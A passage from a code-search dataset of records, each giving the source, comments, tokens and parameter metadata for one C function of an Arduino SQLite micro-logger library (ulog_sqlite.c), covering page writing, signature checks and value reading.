"=", "'", "'", "+", "(", "i", "<", "10", "?", "0", ":", "(", "(", "i", "<", "100", "?", "i", ":", "i", "-", "100", ")", "/", "10", ")", ")", ";", "*", "script_pos", "++", "=", "'", "'", "+", "(", "i", "%", "10", ")", ";", "*", "script_pos", "++", "=", "(", "i", "==", "orig_col_count", "?", "'", "'", ":", "'", "'", ")", ";", "}", "}", "int", "res", "=", "write_page", "(", "wctx", ",", "0", ",", "page_size", ")", ";", "if", "(", "res", ")", "return", "res", ";", "wctx", "->", "col_count", "=", "orig_col_count", ";", "wctx", "->", "cur_write_page", "=", "1", ";", "wctx", "->", "cur_write_rowid", "=", "0", ";", "init_bt_tbl_leaf", "(", "wctx", "->", "buf", ")", ";", "wctx", "->", "state", "=", "DBLOG_ST_WRITE_PENDING", ";", "return", "DBLOG_RES_OK", ";", "}" ]
Writes data into buffer to form first page of Sqlite db
[ "Writes", "data", "into", "buffer", "to", "form", "first", "page", "of", "Sqlite", "db" ]
[ "// 100 byte header - refer https://www.sqlite.org/fileformat.html", "//memcpy(buf, \"SQLite format 3\\0\", 16);", "//write_uint32(buf + 24, 0);", "//write_uint32(buf + 28, 0);", "//write_uint32(buf + 32, 0);", "//write_uint32(buf + 36, 0);", "//write_uint32(buf + 40, 0);", "// Set to zero, above 5", "// TODO: Update during finalize", "//write_uint16(buf + 48, 0);", "//write_uint16(buf + 52, 0);", "// Set to zero, above 2", "// User version initially 0, set to table leaf count", "// used to locate last leaf page for binary search", "// and move to last page.", "// App ID - set to 0xA5xxxxxx where A5 is signature", "// last 5 bits = wctx->max_pages_exp - set to 0 currently", "// till it is implemented", "// reserved space", "// Set remaing page to zero", "// master table b-tree", "// write table script record" ]
[ { "param": "wctx", "type": "struct dblog_write_context" }, { "param": "table_name", "type": "char" }, { "param": "table_script", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wctx", "type": "struct dblog_write_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "table_name", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "table_script", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
check_signature
int
int check_signature(byte *buf) { if (memcmp(buf, dblog_sig, 16) && memcmp(buf, sqlite_sig, 16)) return DBLOG_RES_INVALID_SIG; if (buf[68] != 0xA5) return DBLOG_RES_INVALID_SIG; return DBLOG_RES_OK; }
// Checks possible signatures that a file can have
Checks possible signatures that a file can have
[ "Checks", "possible", "signatures", "that", "a", "file", "can", "have" ]
int check_signature(byte *buf) { if (memcmp(buf, dblog_sig, 16) && memcmp(buf, sqlite_sig, 16)) return DBLOG_RES_INVALID_SIG; if (buf[68] != 0xA5) return DBLOG_RES_INVALID_SIG; return DBLOG_RES_OK; }
[ "int", "check_signature", "(", "byte", "*", "buf", ")", "{", "if", "(", "memcmp", "(", "buf", ",", "dblog_sig", ",", "16", ")", "&&", "memcmp", "(", "buf", ",", "sqlite_sig", ",", "16", ")", ")", "return", "DBLOG_RES_INVALID_SIG", ";", "if", "(", "buf", "[", "68", "]", "!=", "0xA5", ")", "return", "DBLOG_RES_INVALID_SIG", ";", "return", "DBLOG_RES_OK", ";", "}" ]
Checks possible signatures that a file can have
[ "Checks", "possible", "signatures", "that", "a", "file", "can", "have" ]
[]
[ { "param": "buf", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "buf", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
make_space_for_new_row
uint16_t
uint16_t make_space_for_new_row(struct dblog_write_context *wctx, int32_t page_size, uint16_t len_of_rec_len_rowid, uint16_t new_rec_len) { byte *ptr = wctx->buf + (wctx->buf[0] == 13 ? 0 : 100); uint16_t last_pos = read_uint16(ptr + 5); if (last_pos && last_pos > page_size - wctx->page_resv_bytes - 7) return 0; // corruption int rec_count = read_uint16(ptr + 3) + 1; if (last_pos && rec_count * 2 + 8 >= last_pos) return 0; // corruption if (last_pos == 0) last_pos = page_size - wctx->page_resv_bytes; if (last_pos && last_pos < ((ptr - wctx->buf) + 9 + CHKSUM_LEN + (rec_count * 2) + new_rec_len + len_of_rec_len_rowid)) { int res = write_page(wctx, wctx->cur_write_page, page_size); if (res) return res; wctx->cur_write_page++; init_bt_tbl_leaf(wctx->buf); last_pos = page_size - wctx->page_resv_bytes - new_rec_len - len_of_rec_len_rowid; } else { last_pos -= new_rec_len; last_pos -= len_of_rec_len_rowid; } return last_pos; }
// Checks space for appending new row // If space not available, writes current buffer to disk and // initializes buffer as new page
Checks space for appending new row If space not available, writes current buffer to disk and initializes buffer as new page
[ "Checks", "space", "for", "appending", "new", "row", "If", "space", "not", "available", "writes", "current", "buffer", "to", "disk", "and", "initializes", "buffer", "as", "new", "page" ]
uint16_t make_space_for_new_row(struct dblog_write_context *wctx, int32_t page_size, uint16_t len_of_rec_len_rowid, uint16_t new_rec_len) { byte *ptr = wctx->buf + (wctx->buf[0] == 13 ? 0 : 100); uint16_t last_pos = read_uint16(ptr + 5); if (last_pos && last_pos > page_size - wctx->page_resv_bytes - 7) return 0; int rec_count = read_uint16(ptr + 3) + 1; if (last_pos && rec_count * 2 + 8 >= last_pos) return 0; if (last_pos == 0) last_pos = page_size - wctx->page_resv_bytes; if (last_pos && last_pos < ((ptr - wctx->buf) + 9 + CHKSUM_LEN + (rec_count * 2) + new_rec_len + len_of_rec_len_rowid)) { int res = write_page(wctx, wctx->cur_write_page, page_size); if (res) return res; wctx->cur_write_page++; init_bt_tbl_leaf(wctx->buf); last_pos = page_size - wctx->page_resv_bytes - new_rec_len - len_of_rec_len_rowid; } else { last_pos -= new_rec_len; last_pos -= len_of_rec_len_rowid; } return last_pos; }
[ "uint16_t", "make_space_for_new_row", "(", "struct", "dblog_write_context", "*", "wctx", ",", "int32_t", "page_size", ",", "uint16_t", "len_of_rec_len_rowid", ",", "uint16_t", "new_rec_len", ")", "{", "byte", "*", "ptr", "=", "wctx", "->", "buf", "+", "(", "wctx", "->", "buf", "[", "0", "]", "==", "13", "?", "0", ":", "100", ")", ";", "uint16_t", "last_pos", "=", "read_uint16", "(", "ptr", "+", "5", ")", ";", "if", "(", "last_pos", "&&", "last_pos", ">", "page_size", "-", "wctx", "->", "page_resv_bytes", "-", "7", ")", "return", "0", ";", "int", "rec_count", "=", "read_uint16", "(", "ptr", "+", "3", ")", "+", "1", ";", "if", "(", "last_pos", "&&", "rec_count", "*", "2", "+", "8", ">=", "last_pos", ")", "return", "0", ";", "if", "(", "last_pos", "==", "0", ")", "last_pos", "=", "page_size", "-", "wctx", "->", "page_resv_bytes", ";", "if", "(", "last_pos", "&&", "last_pos", "<", "(", "(", "ptr", "-", "wctx", "->", "buf", ")", "+", "9", "+", "CHKSUM_LEN", "+", "(", "rec_count", "*", "2", ")", "+", "new_rec_len", "+", "len_of_rec_len_rowid", ")", ")", "{", "int", "res", "=", "write_page", "(", "wctx", ",", "wctx", "->", "cur_write_page", ",", "page_size", ")", ";", "if", "(", "res", ")", "return", "res", ";", "wctx", "->", "cur_write_page", "++", ";", "init_bt_tbl_leaf", "(", "wctx", "->", "buf", ")", ";", "last_pos", "=", "page_size", "-", "wctx", "->", "page_resv_bytes", "-", "new_rec_len", "-", "len_of_rec_len_rowid", ";", "}", "else", "{", "last_pos", "-=", "new_rec_len", ";", "last_pos", "-=", "len_of_rec_len_rowid", ";", "}", "return", "last_pos", ";", "}" ]
Checks space for appending new row If space not available, writes current buffer to disk and initializes buffer as new page
[ "Checks", "space", "for", "appending", "new", "row", "If", "space", "not", "available", "writes", "current", "buffer", "to", "disk", "and", "initializes", "buffer", "as", "new", "page" ]
[ "// corruption", "// corruption" ]
[ { "param": "wctx", "type": "struct dblog_write_context" }, { "param": "page_size", "type": "int32_t" }, { "param": "len_of_rec_len_rowid", "type": "uint16_t" }, { "param": "new_rec_len", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wctx", "type": "struct dblog_write_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "page_size", "type": "int32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len_of_rec_len_rowid", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "new_rec_len", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_data
uint16_t
uint16_t write_data(byte *data_ptr, int type, const void *val, uint16_t len) { if (val == NULL) return 0; if (type == DBLOG_TYPE_INT) { switch (len) { case 1: write_uint8(data_ptr, *((int8_t *) val)); break; case 2: write_uint16(data_ptr, *((int16_t *) val)); break; case 4: write_uint32(data_ptr, *((int32_t *) val)); break; case 8: write_uint64(data_ptr, *((int64_t *) val)); break; } } else if (type == DBLOG_TYPE_REAL && len == 4) { // Assumes float is represented in IEEE-754 format uint64_t bytes64 = float_to_double(val); write_uint64(data_ptr, bytes64); len = 8; } else if (type == DBLOG_TYPE_REAL && len == 8) { // Assumes double is represented in IEEE-754 format uint64_t bytes = *((uint64_t *) val); write_uint64(data_ptr, bytes); } else memcpy(data_ptr, val, len); return len; }
// Writes given value at given pointer in Sqlite format
Writes given value at given pointer in Sqlite format
[ "Writes", "given", "value", "at", "given", "pointer", "in", "Sqlite", "format" ]
uint16_t write_data(byte *data_ptr, int type, const void *val, uint16_t len) { if (val == NULL) return 0; if (type == DBLOG_TYPE_INT) { switch (len) { case 1: write_uint8(data_ptr, *((int8_t *) val)); break; case 2: write_uint16(data_ptr, *((int16_t *) val)); break; case 4: write_uint32(data_ptr, *((int32_t *) val)); break; case 8: write_uint64(data_ptr, *((int64_t *) val)); break; } } else if (type == DBLOG_TYPE_REAL && len == 4) { uint64_t bytes64 = float_to_double(val); write_uint64(data_ptr, bytes64); len = 8; } else if (type == DBLOG_TYPE_REAL && len == 8) { uint64_t bytes = *((uint64_t *) val); write_uint64(data_ptr, bytes); } else memcpy(data_ptr, val, len); return len; }
[ "uint16_t", "write_data", "(", "byte", "*", "data_ptr", ",", "int", "type", ",", "const", "void", "*", "val", ",", "uint16_t", "len", ")", "{", "if", "(", "val", "==", "NULL", ")", "return", "0", ";", "if", "(", "type", "==", "DBLOG_TYPE_INT", ")", "{", "switch", "(", "len", ")", "{", "case", "1", ":", "write_uint8", "(", "data_ptr", ",", "*", "(", "(", "int8_t", "*", ")", "val", ")", ")", ";", "break", ";", "case", "2", ":", "write_uint16", "(", "data_ptr", ",", "*", "(", "(", "int16_t", "*", ")", "val", ")", ")", ";", "break", ";", "case", "4", ":", "write_uint32", "(", "data_ptr", ",", "*", "(", "(", "int32_t", "*", ")", "val", ")", ")", ";", "break", ";", "case", "8", ":", "write_uint64", "(", "data_ptr", ",", "*", "(", "(", "int64_t", "*", ")", "val", ")", ")", ";", "break", ";", "}", "}", "else", "if", "(", "type", "==", "DBLOG_TYPE_REAL", "&&", "len", "==", "4", ")", "{", "uint64_t", "bytes64", "=", "float_to_double", "(", "val", ")", ";", "write_uint64", "(", "data_ptr", ",", "bytes64", ")", ";", "len", "=", "8", ";", "}", "else", "if", "(", "type", "==", "DBLOG_TYPE_REAL", "&&", "len", "==", "8", ")", "{", "uint64_t", "bytes", "=", "*", "(", "(", "uint64_t", "*", ")", "val", ")", ";", "write_uint64", "(", "data_ptr", ",", "bytes", ")", ";", "}", "else", "memcpy", "(", "data_ptr", ",", "val", ",", "len", ")", ";", "return", "len", ";", "}" ]
Writes given value at given pointer in Sqlite format
[ "Writes", "given", "value", "at", "given", "pointer", "in", "Sqlite", "format" ]
[ "// Assumes float is represented in IEEE-754 format", "// Assumes double is represented in IEEE-754 format" ]
[ { "param": "data_ptr", "type": "byte" }, { "param": "type", "type": "int" }, { "param": "val", "type": "void" }, { "param": "len", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "data_ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "type", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "val", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_last_val
int
int read_last_val(struct dblog_read_context *rctx, uint32_t pos, int32_t page_size, int col_idx, byte *val_at, int val_len, uint32_t *out_col_type, uint16_t *out_rec_pos, byte is_rowid) { byte src_buf[12]; int res = read_bytes_rctx(rctx, src_buf, pos * page_size, 12); if (res) return res; if (*src_buf != 13) return DBLOG_RES_MALFORMED; *out_rec_pos = read_uint16(src_buf + 3) - 1; uint16_t last_pos = read_uint16(src_buf + 5); res = read_bytes_rctx(rctx, src_buf, pos * page_size + last_pos, 12); if (res) return res; int8_t vint_len; uint32_t u32 = read_vint32(src_buf + 3, &vint_len); if (is_rowid) *out_col_type = u32; else { uint16_t rec_len = read_vint16(src_buf, NULL) + vint_len + LEN_OF_REC_LEN; byte rec_buf[rec_len]; res = read_bytes_rctx(rctx, rec_buf, pos * page_size + last_pos, rec_len); if (res) return res; uint16_t hdr_len; byte *data_ptr; byte *hdr_ptr = locate_column(rec_buf, col_idx, &data_ptr, &rec_len, &hdr_len, rec_len); if (!hdr_ptr) return DBLOG_RES_MALFORMED; *out_col_type = read_vint32(hdr_ptr, &vint_len); u32 = dblog_derive_data_len(*out_col_type); if (u32 > val_len) u32 = val_len; memcpy(val_at, data_ptr, u32); } return DBLOG_RES_OK; }
// Returns the Row ID of the last record stored in the given leaf page // Reads the buffer part by part to avoid reading entire buffer into memory // to support low memory systems (2kb ram) // The underlying callback function hopefully optimizes repeated IO
Returns the Row ID of the last record stored in the given leaf page Reads the buffer part by part to avoid reading entire buffer into memory to support low memory systems (2kb ram) The underlying callback function hopefully optimizes repeated IO
[ "Returns", "the", "Row", "ID", "of", "the", "last", "record", "stored", "in", "the", "given", "leaf", "page", "Reads", "the", "buffer", "part", "by", "part", "to", "avoid", "reading", "entire", "buffer", "into", "memory", "to", "support", "low", "memory", "systems", "(", "2kb", "ram", ")", "The", "underlying", "callback", "function", "hopefully", "optimizes", "repeated", "IO" ]
int read_last_val(struct dblog_read_context *rctx, uint32_t pos, int32_t page_size, int col_idx, byte *val_at, int val_len, uint32_t *out_col_type, uint16_t *out_rec_pos, byte is_rowid) { byte src_buf[12]; int res = read_bytes_rctx(rctx, src_buf, pos * page_size, 12); if (res) return res; if (*src_buf != 13) return DBLOG_RES_MALFORMED; *out_rec_pos = read_uint16(src_buf + 3) - 1; uint16_t last_pos = read_uint16(src_buf + 5); res = read_bytes_rctx(rctx, src_buf, pos * page_size + last_pos, 12); if (res) return res; int8_t vint_len; uint32_t u32 = read_vint32(src_buf + 3, &vint_len); if (is_rowid) *out_col_type = u32; else { uint16_t rec_len = read_vint16(src_buf, NULL) + vint_len + LEN_OF_REC_LEN; byte rec_buf[rec_len]; res = read_bytes_rctx(rctx, rec_buf, pos * page_size + last_pos, rec_len); if (res) return res; uint16_t hdr_len; byte *data_ptr; byte *hdr_ptr = locate_column(rec_buf, col_idx, &data_ptr, &rec_len, &hdr_len, rec_len); if (!hdr_ptr) return DBLOG_RES_MALFORMED; *out_col_type = read_vint32(hdr_ptr, &vint_len); u32 = dblog_derive_data_len(*out_col_type); if (u32 > val_len) u32 = val_len; memcpy(val_at, data_ptr, u32); } return DBLOG_RES_OK; }
[ "int", "read_last_val", "(", "struct", "dblog_read_context", "*", "rctx", ",", "uint32_t", "pos", ",", "int32_t", "page_size", ",", "int", "col_idx", ",", "byte", "*", "val_at", ",", "int", "val_len", ",", "uint32_t", "*", "out_col_type", ",", "uint16_t", "*", "out_rec_pos", ",", "byte", "is_rowid", ")", "{", "byte", "src_buf", "[", "12", "]", ";", "int", "res", "=", "read_bytes_rctx", "(", "rctx", ",", "src_buf", ",", "pos", "*", "page_size", ",", "12", ")", ";", "if", "(", "res", ")", "return", "res", ";", "if", "(", "*", "src_buf", "!=", "13", ")", "return", "DBLOG_RES_MALFORMED", ";", "*", "out_rec_pos", "=", "read_uint16", "(", "src_buf", "+", "3", ")", "-", "1", ";", "uint16_t", "last_pos", "=", "read_uint16", "(", "src_buf", "+", "5", ")", ";", "res", "=", "read_bytes_rctx", "(", "rctx", ",", "src_buf", ",", "pos", "*", "page_size", "+", "last_pos", ",", "12", ")", ";", "if", "(", "res", ")", "return", "res", ";", "int8_t", "vint_len", ";", "uint32_t", "u32", "=", "read_vint32", "(", "src_buf", "+", "3", ",", "&", "vint_len", ")", ";", "if", "(", "is_rowid", ")", "*", "out_col_type", "=", "u32", ";", "else", "{", "uint16_t", "rec_len", "=", "read_vint16", "(", "src_buf", ",", "NULL", ")", "+", "vint_len", "+", "LEN_OF_REC_LEN", ";", "byte", "rec_buf", "[", "rec_len", "]", ";", "res", "=", "read_bytes_rctx", "(", "rctx", ",", "rec_buf", ",", "pos", "*", "page_size", "+", "last_pos", ",", "rec_len", ")", ";", "if", "(", "res", ")", "return", "res", ";", "uint16_t", "hdr_len", ";", "byte", "*", "data_ptr", ";", "byte", "*", "hdr_ptr", "=", "locate_column", "(", "rec_buf", ",", "col_idx", ",", "&", "data_ptr", ",", "&", "rec_len", ",", "&", "hdr_len", ",", "rec_len", ")", ";", "if", "(", "!", "hdr_ptr", ")", "return", "DBLOG_RES_MALFORMED", ";", "*", "out_col_type", "=", "read_vint32", "(", "hdr_ptr", ",", "&", "vint_len", ")", ";", "u32", "=", "dblog_derive_data_len", "(", "*", "out_col_type", ")", ";", "if", "(", "u32", ">", "val_len", ")", "u32", "=", "val_len", ";", "memcpy", "(", "val_at", ",", "data_ptr", ",", "u32", ")", ";", "}", "return", "DBLOG_RES_OK", ";", "}" ]
Returns the Row ID of the last record stored in the given leaf page Reads the buffer part by part to avoid reading entire buffer into memory to support low memory systems (2kb ram) The underlying callback function hopefully optimizes repeated IO
[ "Returns", "the", "Row", "ID", "of", "the", "last", "record", "stored", "in", "the", "given", "leaf", "page", "Reads", "the", "buffer", "part", "by", "part", "to", "avoid", "reading", "entire", "buffer", "into", "memory", "to", "support", "low", "memory", "systems", "(", "2kb", "ram", ")", "The", "underlying", "callback", "function", "hopefully", "optimizes", "repeated", "IO" ]
[]
[ { "param": "rctx", "type": "struct dblog_read_context" }, { "param": "pos", "type": "uint32_t" }, { "param": "page_size", "type": "int32_t" }, { "param": "col_idx", "type": "int" }, { "param": "val_at", "type": "byte" }, { "param": "val_len", "type": "int" }, { "param": "out_col_type", "type": "uint32_t" }, { "param": "out_rec_pos", "type": "uint16_t" }, { "param": "is_rowid", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "rctx", "type": "struct dblog_read_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pos", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "page_size", "type": "int32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "col_idx", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "val_at", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "val_len", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "out_col_type", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "out_rec_pos", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "is_rowid", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_rowid_at
uint32_t
uint32_t read_rowid_at(struct dblog_read_context *rctx, uint32_t rec_pos) { int8_t vint_len; return read_vint32(rctx->buf + read_uint16(rctx->buf + (*rctx->buf == 13 ? 8 : 12) + rec_pos * 2) + (*rctx->buf == 13 ? LEN_OF_REC_LEN : 4), &vint_len); }
// Returns the Row ID of the record at given position
Returns the Row ID of the record at given position
[ "Returns", "the", "Row", "ID", "of", "the", "record", "at", "given", "position" ]
uint32_t read_rowid_at(struct dblog_read_context *rctx, uint32_t rec_pos) { int8_t vint_len; return read_vint32(rctx->buf + read_uint16(rctx->buf + (*rctx->buf == 13 ? 8 : 12) + rec_pos * 2) + (*rctx->buf == 13 ? LEN_OF_REC_LEN : 4), &vint_len); }
[ "uint32_t", "read_rowid_at", "(", "struct", "dblog_read_context", "*", "rctx", ",", "uint32_t", "rec_pos", ")", "{", "int8_t", "vint_len", ";", "return", "read_vint32", "(", "rctx", "->", "buf", "+", "read_uint16", "(", "rctx", "->", "buf", "+", "(", "*", "rctx", "->", "buf", "==", "13", "?", "8", ":", "12", ")", "+", "rec_pos", "*", "2", ")", "+", "(", "*", "rctx", "->", "buf", "==", "13", "?", "LEN_OF_REC_LEN", ":", "4", ")", ",", "&", "vint_len", ")", ";", "}" ]
Returns the Row ID of the record at given position
[ "Returns", "the", "Row", "ID", "of", "the", "record", "at", "given", "position" ]
[]
[ { "param": "rctx", "type": "struct dblog_read_context" }, { "param": "rec_pos", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "rctx", "type": "struct dblog_read_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "rec_pos", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
compare_bin
int
int compare_bin(const byte *v1, byte len1, const byte *v2, byte len2) { int k = 0; int lim = (len2 < len1 ? len2 : len1); while (k < lim) { byte c1 = v1[k]; byte c2 = v2[k]; k++; if (c1 < c2) return -k; else if (c1 > c2) return k; } if (len1 == len2) return 0; k++; return (len1 < len2 ? -k : k); }
// compares two binary strings and returns k, -k or 0 // 0 meaning the two are identical. If not, k is length that matches
compares two binary strings and returns k, -k or 0 0 meaning the two are identical. If not, k is length that matches
[ "compares", "two", "binary", "strings", "and", "returns", "k", "-", "k", "or", "0", "0", "meaning", "the", "two", "are", "identical", ".", "If", "not", "k", "is", "length", "that", "matches" ]
int compare_bin(const byte *v1, byte len1, const byte *v2, byte len2) { int k = 0; int lim = (len2 < len1 ? len2 : len1); while (k < lim) { byte c1 = v1[k]; byte c2 = v2[k]; k++; if (c1 < c2) return -k; else if (c1 > c2) return k; } if (len1 == len2) return 0; k++; return (len1 < len2 ? -k : k); }
[ "int", "compare_bin", "(", "const", "byte", "*", "v1", ",", "byte", "len1", ",", "const", "byte", "*", "v2", ",", "byte", "len2", ")", "{", "int", "k", "=", "0", ";", "int", "lim", "=", "(", "len2", "<", "len1", "?", "len2", ":", "len1", ")", ";", "while", "(", "k", "<", "lim", ")", "{", "byte", "c1", "=", "v1", "[", "k", "]", ";", "byte", "c2", "=", "v2", "[", "k", "]", ";", "k", "++", ";", "if", "(", "c1", "<", "c2", ")", "return", "-", "k", ";", "else", "if", "(", "c1", ">", "c2", ")", "return", "k", ";", "}", "if", "(", "len1", "==", "len2", ")", "return", "0", ";", "k", "++", ";", "return", "(", "len1", "<", "len2", "?", "-", "k", ":", "k", ")", ";", "}" ]
compares two binary strings and returns k, -k or 0 0 meaning the two are identical.
[ "compares", "two", "binary", "strings", "and", "returns", "k", "-", "k", "or", "0", "0", "meaning", "the", "two", "are", "identical", "." ]
[]
[ { "param": "v1", "type": "byte" }, { "param": "len1", "type": "byte" }, { "param": "v2", "type": "byte" }, { "param": "len2", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "v1", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len1", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "v2", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len2", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
convert_to_i64
int64_t
int64_t convert_to_i64(byte *val, int len, byte is_big_endian) { int64_t ival_at = 0; switch (len) { case 4: { uint32_t u32_val_at = (is_big_endian ? read_uint32(val) : *((uint32_t *) val)); if (u32_val_at & 0x80000000) { ival_at = 0xFFFFFFFF - u32_val_at; ival_at = 0xFFFFFFFFFFFFFFFF - ival_at; } else ival_at = u32_val_at; break; } case 2: { uint16_t u16_val_at = (is_big_endian ? read_uint16(val) : *((uint16_t *) val)); ival_at = u16_val_at & 0x7FFF; if (u16_val_at & 0x8000) { ival_at = 0xFFFF - u16_val_at; ival_at = 0xFFFFFFFFFFFFFFFF - ival_at; } else ival_at = u16_val_at; break; } case 6: case 8: ival_at = (is_big_endian ? read_uint64(val) : *((int64_t *) val)); break; case 1: { uint8_t u8_val_at = (is_big_endian ? read_uint8(val) : *((uint8_t *) val)); ival_at = u8_val_at & 0x7F; if (u8_val_at & 0x80) { ival_at = 0xFF - u8_val_at; ival_at = 0xFFFFFFFFFFFFFFFF - ival_at; } else ival_at = u8_val_at; } } return ival_at; }
// Converts any type of integer to int64 for comparison
Converts any type of integer to int64 for comparison
[ "Converts", "any", "type", "of", "integer", "to", "int64", "for", "comparison" ]
int64_t convert_to_i64(byte *val, int len, byte is_big_endian) { int64_t ival_at = 0; switch (len) { case 4: { uint32_t u32_val_at = (is_big_endian ? read_uint32(val) : *((uint32_t *) val)); if (u32_val_at & 0x80000000) { ival_at = 0xFFFFFFFF - u32_val_at; ival_at = 0xFFFFFFFFFFFFFFFF - ival_at; } else ival_at = u32_val_at; break; } case 2: { uint16_t u16_val_at = (is_big_endian ? read_uint16(val) : *((uint16_t *) val)); ival_at = u16_val_at & 0x7FFF; if (u16_val_at & 0x8000) { ival_at = 0xFFFF - u16_val_at; ival_at = 0xFFFFFFFFFFFFFFFF - ival_at; } else ival_at = u16_val_at; break; } case 6: case 8: ival_at = (is_big_endian ? read_uint64(val) : *((int64_t *) val)); break; case 1: { uint8_t u8_val_at = (is_big_endian ? read_uint8(val) : *((uint8_t *) val)); ival_at = u8_val_at & 0x7F; if (u8_val_at & 0x80) { ival_at = 0xFF - u8_val_at; ival_at = 0xFFFFFFFFFFFFFFFF - ival_at; } else ival_at = u8_val_at; } } return ival_at; }
[ "int64_t", "convert_to_i64", "(", "byte", "*", "val", ",", "int", "len", ",", "byte", "is_big_endian", ")", "{", "int64_t", "ival_at", "=", "0", ";", "switch", "(", "len", ")", "{", "case", "4", ":", "{", "uint32_t", "u32_val_at", "=", "(", "is_big_endian", "?", "read_uint32", "(", "val", ")", ":", "*", "(", "(", "uint32_t", "*", ")", "val", ")", ")", ";", "if", "(", "u32_val_at", "&", "0x80000000", ")", "{", "ival_at", "=", "0xFFFFFFFF", "-", "u32_val_at", ";", "ival_at", "=", "0xFFFFFFFFFFFFFFFF", "-", "ival_at", ";", "}", "else", "ival_at", "=", "u32_val_at", ";", "break", ";", "}", "case", "2", ":", "{", "uint16_t", "u16_val_at", "=", "(", "is_big_endian", "?", "read_uint16", "(", "val", ")", ":", "*", "(", "(", "uint16_t", "*", ")", "val", ")", ")", ";", "ival_at", "=", "u16_val_at", "&", "0x7FFF", ";", "if", "(", "u16_val_at", "&", "0x8000", ")", "{", "ival_at", "=", "0xFFFF", "-", "u16_val_at", ";", "ival_at", "=", "0xFFFFFFFFFFFFFFFF", "-", "ival_at", ";", "}", "else", "ival_at", "=", "u16_val_at", ";", "break", ";", "}", "case", "6", ":", "case", "8", ":", "ival_at", "=", "(", "is_big_endian", "?", "read_uint64", "(", "val", ")", ":", "*", "(", "(", "int64_t", "*", ")", "val", ")", ")", ";", "break", ";", "case", "1", ":", "{", "uint8_t", "u8_val_at", "=", "(", "is_big_endian", "?", "read_uint8", "(", "val", ")", ":", "*", "(", "(", "uint8_t", "*", ")", "val", ")", ")", ";", "ival_at", "=", "u8_val_at", "&", "0x7F", ";", "if", "(", "u8_val_at", "&", "0x80", ")", "{", "ival_at", "=", "0xFF", "-", "u8_val_at", ";", "ival_at", "=", "0xFFFFFFFFFFFFFFFF", "-", "ival_at", ";", "}", "else", "ival_at", "=", "u8_val_at", ";", "}", "}", "return", "ival_at", ";", "}" ]
Converts any type of integer to int64 for comparison
[ "Converts", "any", "type", "of", "integer", "to", "int64", "for", "comparison" ]
[]
[ { "param": "val", "type": "byte" }, { "param": "len", "type": "int" }, { "param": "is_big_endian", "type": "byte" } ]
